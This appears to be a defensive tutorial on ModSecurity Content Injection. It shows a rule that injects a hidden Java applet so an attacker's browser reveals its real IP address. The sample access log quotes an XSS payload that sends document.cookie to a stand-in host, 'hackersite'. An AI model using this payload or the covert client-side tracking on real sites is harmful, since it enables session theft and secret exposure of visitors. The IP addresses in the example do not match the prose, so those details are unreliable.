Content Injection Use Case Example
ModSecurity 2.5 introduces a really cool, yet somewhat obscure feature called Content Injection. The concept is pretty interesting as it allows you to inject any text data that you want into the response bodies of your web application.
Identifying Real IP Addresses of Web Attackers
One of the biggest challenges of doing incident response during web attacks is to try and trace back the source IP address information to identify the "real" attacker's computer. The reason why this is so challenging is that attackers almost always loop their attacks through numerous open proxy servers or other compromised hosts where they setup connection tunnels. This means that the actual IP address that shows up in the victims logs is most likely only the last hop in between the attacker and the target site. One way to try and tackle this problem is instead of relying on the TCP-IP address information of the connection, we attempt to handle this at the HTTP layer.
The following rule uses the same data as the previous example, except this time, instead of simply sending an alert pop-up box we are sending the MyAddress.class java applet. This code will force the attacker's browser to initiate a connection back to our web server.
SecRule TX:ALERT "@eq 1" "phase:3,nolog,pass,chain,prepend:'<APPLET CODE=\"MyAddress.class\" MAYSCRIPT WIDTH=0 HEIGHT=0> <PARAM NAME=\"URL\" VALUE=\"grab_ip.php?IP=\"> <PARAM NAME=\"ACTION\" VALUE=\"AUTO\"></APPLET>'" SecRule RESPONSE_CONTENT_TYPE "^text/html"
So, if an attacker sends a malicious request that ModSecurity triggers on, this rule will then fire and it will send the injected code to the client. Our Apache access_logs will show data similar to this:
22.214.171.124 - - [20/Jan/2008:21:15:03 -0500] "GET /cgi-bin/foo.cgi?param=<script>document.write('<img%20 src="http://hackersite/'+document.cookie+'"')</script> HTTP/1.1" 500 676 126.96.36.199 - - [20/Jan/2008:21:15:03 -0500] "GET /cgi-bin/grab_ip.php?IP=188.8.131.52 HTTP/1.1" 404 207
As you can see, even though the IP address in the access_logs shows 184.108.40.206, the data returned in the QUERY_STRING portion of the second line shows that the real IP address of the attacker is 220.127.116.11. This would mean that in this case, the attacker's system was not on a private network (perhaps just connecting their computer directly to the internet). In this case, you would be able to obtain the actual IP of an attacker who was conducting a manual attack with a browser.
Attacker -> Proxy -> ... -> Proxy -> Target Website. ^ ^ 18.104.22.168 22.214.171.124
This example is extremely experimental. As the previous section indicates, if the attacker were behind a router (on a private LAN) then the address range would have probably been in the 192.169.xxx.xxx range.
Attacker -> Firewall/Router -> ... -> Proxy -> Target Website. ^ ^ 192.168.1.100 126.96.36.199
This type of data would not be as useful for our purposes as it wouldn't help for a traceback.